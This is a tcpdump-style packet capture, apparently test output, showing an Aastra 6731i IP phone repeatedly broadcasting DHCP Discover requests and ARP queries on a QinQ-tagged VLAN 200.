+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52371, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52403, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52413, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52420, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52435, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969cb6, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52467, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52470, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52478, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52493, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969cb6, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52524, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52534, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52541, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52556, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969c3d, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52588, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52591, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52598, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52613, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969c3d, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52645, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52649, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52656, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52672, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969bc4, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52704, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52708, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52715, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52731, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969bc4, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52762, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52772, offset 0, flags [DF], proto UDP (17), length 326)
